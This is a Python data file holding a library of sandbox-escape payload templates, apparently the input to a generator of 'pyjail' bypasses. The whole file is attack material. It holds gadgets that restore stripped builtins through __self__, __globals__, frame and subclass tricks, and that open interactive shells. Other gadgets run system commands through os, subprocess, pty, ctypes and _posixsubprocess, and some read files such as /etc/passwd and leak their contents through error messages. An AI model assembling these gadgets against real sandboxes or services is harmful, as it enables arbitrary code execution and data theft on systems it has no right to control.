RCE_data = {
    "user_defined_function": [["def RANDOMVARNAME():RANDOMSTRING", ""]],
    "user_defined_lambda": [["RANDOMVARNAME=lambda:RANDOMSTRING", ""]],
    "user_defined_class": [["class USER_DEFINED_CLASS:RANDOMSTRING", ""]],
    "directly_getshell": [
        ["help()", "help"],
        ["breakpoint()", "breakpoint"],
        ["exec(input())", "exec,input"],
        ["eval(input())", "eval,input"],
        ["compile(input(),RANDOMSTRING,'exec')", "compile,input"],
        ["compile(input(),RANDOMSTRING,'eval')", "compile,input"],
        ["compile(input(),RANDOMSTRING,'single')", "compile,input"],
        [
            "from os import system as __getattr__;from __main__ import sh",
            "BUILTINS_SET_CHANGED|BUILTINS_SET",
        ],
        [
            "from os import popen as __getattr__;from __main__ import sh",
            "BUILTINS_SET_CHANGED|BUILTINS_SET",
        ],
        [
            "from uuid import _get_command_stdout as __getattr__;from __main__ import sh",
            "BUILTINS_SET_CHANGED|BUILTINS_SET",
        ],
        ["import pdb;pdb.set_trace()", "BUILTINS_SET_CHANGED|BUILTINS_SET"],
    ],
    "builtins2RCEinput": [
        ["BUILTINS_SET['help']()", "BUILTINS_SET"],
        ["MODULE_BUILTINS.help()", "MODULE_BUILTINS"],
        ["BUILTINS_SET['breakpoint']()", "BUILTINS_SET"],
        ["MODULE_BUILTINS.breakpoint()", "MODULE_BUILTINS"],
        ["BUILTINS_SET['exec'](BUILTINS_SET['input']())", "BUILTINS_SET"],
        ["MODULE_BUILTINS.exec(MODULE_BUILTINS.input())", "MODULE_BUILTINS"],
        ["BUILTINS_SET['eval'](BUILTINS_SET['input']())", "BUILTINS_SET"],
        ["MODULE_BUILTINS.eval(MODULE_BUILTINS.input())", "MODULE_BUILTINS"],
        [
            "BUILTINS_SET['compile'](BUILTINS_SET['input'](),RANDOMSTRING,'exec')",
            "BUILTINS_SET",
        ],
        [
            "MODULE_BUILTINS.compile(MODULE_BUILTINS.input(),RANDOMSTRING,'exec')",
            "MODULE_BUILTINS",
        ],
        [
            "BUILTINS_SET['compile'](BUILTINS_SET['input'](),RANDOMSTRING,'eval')",
            "BUILTINS_SET",
        ],
        [
            "MODULE_BUILTINS.compile(MODULE_BUILTINS.input(),RANDOMSTRING,'eval')",
            "MODULE_BUILTINS",
        ],
        [
            "BUILTINS_SET['compile'](BUILTINS_SET['input'](),RANDOMSTRING,'single')",
            "BUILTINS_SET",
        ],
        [
            "MODULE_BUILTINS.compile(MODULE_BUILTINS.input(),RANDOMSTRING,'single')",
            "MODULE_BUILTINS",
        ],
        ["sys.breakpointhook()", "sys"],
    ],
    "get_user_defined_function": [["def RANDOMVARNAME():RANDOMSTRING", ""]],
    "get_user_defined_lambda": [["RANDOMVARNAME=lambda:RANDOMSTRING", ""]],
    "get_user_defined_class": [["class USER_DEFINED_CLASS:RANDOMSTRING", ""]],
    "restore_builtins_in_current_ns": [
        ["__builtins__", "BUILTINS_SET_CHANGED"],
        ["vars()['__builtins__']", "vars"],
        ["globals()['__builtins__']", "globals"],
        ["locals()['__builtins__']", "locals"],
        ["help.__call__.__globals__['__builtins__']", "help"],
        ["license.__call__.__globals__['__builtins__']", "license"],
        ["credits.__call__.__globals__['__builtins__']", "credits"],
        ["__build_class__.__self__", "__build_class__"],
        ["__import__.__self__", "__import__"],
        ["help.__repr__.__globals__['__builtins__']", "help"],
        ["abs.__self__", "abs"],
        ["aiter.__self__", "aiter"],
        ["all.__self__", "all"],
        ["anext.__self__", "anext"],
        ["any.__self__", "any"],
        ["ascii.__self__", "ascii"],
        ["bin.__self__", "bin"],
        ["breakpoint.__self__", "breakpoint"],
        ["callable.__self__", "callable"],
        ["chr.__self__", "chr"],
        ["compile.__self__", "compile"],
        ["delattr.__self__", "delattr"],
        ["dir.__self__", "dir"],
        ["divmod.__self__", "divmod"],
        ["eval.__self__", "eval"],
        ["exec.__self__", "exec"],
        ["format.__self__", "format"],
        ["getattr.__self__", "getattr"],
        ["globals.__self__", "globals"],
        ["hasattr.__self__", "hasattr"],
        ["hash.__self__", "hash"],
        ["hex.__self__", "hex"],
        ["id.__self__", "id"],
        ["isinstance.__self__", "isinstance"],
        ["issubclass.__self__", "issubclass"],
        ["iter.__self__", "iter"],
        ["len.__self__", "len"],
        ["locals.__self__", "locals"],
        ["max.__self__", "max"],
        ["min.__self__", "min"],
        ["next.__self__", "next"],
        ["oct.__self__", "oct"],
        ["ord.__self__", "ord"],
        ["pow.__self__", "pow"],
        ["print.__self__", "print"],
        ["repr.__self__", "repr"],
        ["round.__self__", "round"],
        ["setattr.__self__", "setattr"],
        ["sorted.__self__", "sorted"],
        ["sum.__self__", "sum"],
        ["vars.__self__", "vars"],
        ["USER_DEFINED_FUNCTION.__globals__['__builtins__']", "USER_DEFINED_FUNCTION"],
        ["USER_DEFINED_LAMBDA.__globals__['__builtins__']", "USER_DEFINED_LAMBDA"],
        ["GENERATOR.f_builtins", "GENERATOR"],
        ["GENERATOR.f_globals['__builtins__']", "GENERATOR"],
        ["GENERATOR.f_back.f_builtins", "GENERATOR"],
        ["GENERATOR.f_back.f_globals['__builtins__']", "GENERATOR"],
    ],
    "import": [
        ["GENERATOR.f_globals['__builtins__'].__import__", "GENERATOR"],
        ["GENERATOR.f_back_f_globals['__builtins__'].__import__", "GENERATOR"],
        ["__import__", "__import__"],
        ["BUILTINS_SET['__import__']", "BUILTINS_SET"],
        ["MODULE_BUILTINS.__import__", "MODULE_BUILTINS"],
        ["importlib.__import__", "importlib"],
    ],
    "load_module": [
        ["GENERATOR.f_globals['__loader__'].load_module", "GENERATOR"],
        ["GENERATOR.f_back.f_globals['__loader__'].load_module", "GENERATOR"],
        ["__loader__.load_module", "__loader__"],
        ["BUILTINS_SET['__loader__'].load_module", "BUILTINS_SET"],
        ["MODULE_BUILTINS.__loader__.load_module", "MODULE_BUILTINS"],
        ["importlib.import_module", "importlib"],
    ],
    "modules": [["sys.modules", "sys"]],
    "generator": [
        ["(RANDOMVARNAME for RANDOMVARNAME in ()).gi_frame", ""],
        ["(await RANDOMVARNAME for RANDOMVARNAME in ()).ag_frame", ""],
        [
            "try:1/0\nexcept EXCEPTION_ZERODIVISIONERROR as e:e.__traceback__.tb_frame",
            "EXCEPTION_ZERODIVISIONERROR",
        ],
        ["try:1/0\nexcept Exception as e:e.__traceback__.tb_frame", "EXCEPTION"],
        ["async def a():pass;a().cr_frame", ""],
        ["sys._getframe()", "sys"],
    ],
    "type": [
        ["BUILTINOBJ.__class__.__class__", ""],
        ["BUILTINtype.__class__", ""],
        ["type(USER_DEFINED_CLASS).__class__", "type,USER_DEFINED_CLASS"],
    ],
    "restore_builtins_in_other_ns": [
        ["TYPE.__subclasses__(TYPE)[0].register.__globals__['__builtins__']", "TYPE"],
        ["OBJECT.__reduce_ex__(3)[0].__globals__['__builtins__']", "OBJECT"],
        ["{}.__class__.__subclasses__()[2].copy.__globals__['__builtins__']", ""],
        ["dict.__subclasses__()[2].copy.__globals__['__builtins__']", "dict"],
        ["{}.__class__.__subclasses__()[2].update.__globals__['__builtins__']", ""],
        ["dict.__subclasses__()[2].update.__globals__['__builtins__']", "dict"],
        ["GENERATOR.f_back.f_builtins", "GENERATOR"],
        ["GENERATOR.f_back.f_globals['__builtins__']", "GENERATOR"],
    ],
    "object": [
        ["BUILTINOBJ.__class__.__bases__[0]", ""],
        ["BUILTINOBJ.__class__.__mro__[-1]", ""],
        ["BUILTINOBJ.__class__.__mro__[1]", ""],
        ["BUILTINtype.__class__.__bases__[0]", ""],
        ["BUILTINtype.__class__.__mro__[-1]", ""],
        ["BUILTINtype.__class__.__mro__[1]", ""],
    ],
    "__import__2RCE": [
        ["ctypes.CDLL(None).system(COMMAND.encode())", "ctypes"],
        ["os.execl(CMD_FILE,UNFOLD_CMD_ARGS)", "os"],
        ["os.execle(CMD_FILE,UNFOLD_CMD_ARGS)", "os"],
        ["os.execlp(CMD_FILE,CMD_FILE,UNFOLD_CMD_ARGS)", "os"],
        ["os.execlpe(CMD_FILE,CMD_FILE,UNFOLD_CMD_ARGS)", "os"],
        ["os.execv(CMD_FILE,[UNFOLD_CMD_ARGS])", "os"],
        ["os.execve(CMD_FILE,[UNFOLD_CMD_ARGS])", "os"],
        ["os.execvp(CMD_FILE,CMD_FILE,[UNFOLD_CMD_ARGS])", "os"],
        ["os.execvpe(CMD_FILE,CMD_FILE,[UNFOLD_CMD_ARGS])", "os"],
        ["os.system(COMMAND)", "os"],
        ["os.popen(COMMAND)", "os"],
        ["pty.spawn(COMMAND)", "pty"],
        ["pydoc.pipepager(RANDOMSTRING,COMMAND)", "pydoc"],
        ["subprocess.call(COMMAND)", "subprocess"],
        ["subprocess.check_call(COMMAND)", "subprocess"],
        ["subprocess.check_output(COMMAND)", "subprocess"],
        ["subprocess.getstatusoutput(COMMAND)", "subprocess"],
        ["subprocess.getoutput(COMMAND)", "subprocess"],
        ["subprocess.run(COMMAND)", "subprocess"],
        ["subprocess.Popen(COMMAND)", "subprocess"],
        ["uuid._get_command_stdout(COMMAND)", "uuid"],
        [
            "subprocess._posixsubprocess.fork_exec([bCMD_FILE,UNFOLD_CMD_ARGS],[bCMD_FILE],True,(),None,None,-1,-1,-1,-1,-1,-1,*(os.pipe()),False,False,False,None,None,None,-1,None,False)",
            "subprocess",
        ],
        [
            "_posixsubprocess.fork_exec([bCMD_FILE,UNFOLD_CMD_ARGS],[bCMD_FILE],True,(),None,None,-1,-1,-1,-1,-1,-1,*(os.pipe()),False,False,False,None,None,None,-1,None,False)",
            "_posixsubprocess",
        ],
        [
            "multiprocessing.util.spawnv_passfds(bCMD_FILE,[bCMD_FILE,UNFOLD_CMD_ARGS],[])",
            "multiprocessing",
        ],
    ],
    "exec": [
        ["profile.run", "profile"],
        ["timeit.timeit", "timeit"],
    ],
    "filecontentstring": [
        ["linecache.getline(COMMAND,1)", "linecache"],
        ["FILECONTENTSIO.read()", "FILECONTENTSIO"],
    ],
    "filecontentsio": [
        ["io.FileIO(COMMAND)", "io"],
        ["io.open(COMMAND)", "io"],
        ["io.open('/etc/passwd').buffer.raw.__class__(COMMAND)", "io"],
        ["codecs.open(COMMAND)", "codecs"],
        ["open(COMMAND)", "open"],
    ],
    "print_filecontent": [
        ["int(*FILECONTENTSIO)", "int,FILECONTENTSIO"],
        ["float(*FILECONTENTSIO)", "float,FILECONTENTSIO"],
        ["complex(*FILECONTENTSIO)", "complex,FILECONTENTSIO"],
        ["exit(set(*FILECONTENTSIO))", "exit,FILECONTENTSIO"],
        ["exit(*FILECONTENTSIO)", "exit,FILECONTENTSIO"],
        ["open(*FILECONTENTSIO)", "open,FILECONTENTSIO"],
        ["help(*FILECONTENTSIO)", "help,FILECONTENTSIO"],
        ["print(*FILECONTENTSIO)", "print,FILECONTENTSIO"],
        ["raise Exception(*FILECONTENTSIO)", "Exception,FILECONTENTSIO"],
        ["int(*linecache.getlines(COMMAND))", "int,linecache"],
        ["float(*linecache.getlines(COMMAND)", "float,linecache"],
        ["complex(*linecache.getlines(COMMAND)", "complex,linecache"],
        ["exit(set(*linecache.getlines(COMMAND))", "exit,linecache"],
        ["exit(*linecache.getlines(COMMAND))", "exit,linecache"],
        ["open(*linecache.getlines(COMMAND))", "open,linecache"],
        ["help(*linecache.getlines(COMMAND))", "help,linecache"],
        ["print(*linecache.getlines(COMMAND))", "print,linecache"],
        ["raise Exception(*linecache.getlines(COMMAND))", "Exception,linecache"],
        ["int(FILECONTENTSTRING)", "int,FILECONTENTSTRING"],
        ["float(FILECONTENTSTRING)", "float,FILECONTENTSTRING"],
        ["complex(FILECONTENTSTRING)", "complex,FILECONTENTSTRING"],
        ["exit(set(FILECONTENTSTRING))", "exit,FILECONTENTSTRING"],
        ["exit(FILECONTENTSTRING)", "exit,FILECONTENTSTRING"],
        ["open(FILECONTENTSTRING)", "open,FILECONTENTSTRING"],
        ["help(FILECONTENTSTRING)", "help,FILECONTENTSTRING"],
        ["print(FILECONTENTSTRING)", "print,FILECONTENTSTRING"],
        ["raise Exception(FILECONTENTSTRING)", "Exception,FILECONTENTSTRING"],
    ],
    "python2": {
        "RCE_system_functions": [
            ["commands.getstatusoutput(CMD)", "exec"],
            ["commands.getoutput(CMD)", "exec"],
            ["commands.getstatus(CMD)", "exec"],
        ]
    },
}
